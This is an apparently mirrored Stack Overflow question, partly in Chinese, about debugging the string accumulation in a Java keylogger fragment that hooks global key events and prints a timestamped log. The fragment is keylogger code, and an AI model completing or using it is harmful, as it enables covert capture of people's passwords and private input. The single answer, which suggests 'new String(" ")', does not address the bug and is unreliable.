【问题标题】:Java add each value to a stringJava将每个值添加到字符串
【发布时间】:2017-01-19 04:34:09
【问题描述】:

我有一个非常大的程序需要检查输入的字符,这只是损坏部分的一部分。所以当我让它记录每个输入的字符时它就起作用了。但是当我尝试将每个字符添加到字符串中时,当他们输入单词 hi 时,它看起来像这样:

hi

不是

h
i

无论我尝试什么,它都会给我输入的第一个值并且不会将每个字符添加到字符串中.

            String log = " ";
            if(event.getVirtualKeyCode() == GlobalKeyEvent.VK_SPACE){
                log = log + "";
            }

            if(event.getVirtualKeyCode() == GlobalKeyEvent.VK_BACK){
                log = log + "[BACKSPACE]";
            }

            String timestamp = new SimpleDateFormat("yyyy:MM:dd HH:mm:ss").format(Calendar.getInstance().getTime());
            while(true){
                try {
                    Thread.sleep(5000);
                    System.out.println("[" + timestamp + "]" + log);
                } catch(InterruptedException ex) {
                    Thread.currentThread().interrupt();
                }
            }

【问题讨论】:

  • 你在哪里添加这些字符?
  • log = log + " ";和 log = log + "[BACKSPACE]";
  • 假设, log = "M" 当你运行这行: log=log+"" => log="M"+"", 也就是 log = "M", 字符是怎么进来的记录?
  • log = log + "" 是一种浪费。此外,您在每个字符之后打印(根据您的代码)。所以,如果这不是你想要的,不要println
  • 你需要两个线程。一个向构建器添加字符串,另一个在清除该构建器并打印日志之前等待 5 秒

标签: java keylogger


【解决方案1】:

尝试声明一个新字符串:

String log = new String(" ");

【讨论】:

    猜你喜欢
    • 1970-01-01
    • 2010-12-11
    • 1970-01-01
    • 1970-01-01
    • 2017-07-14
    • 1970-01-01
    • 1970-01-01
    • 2021-08-02
    • 1970-01-01
    相关资源
    最近更新 更多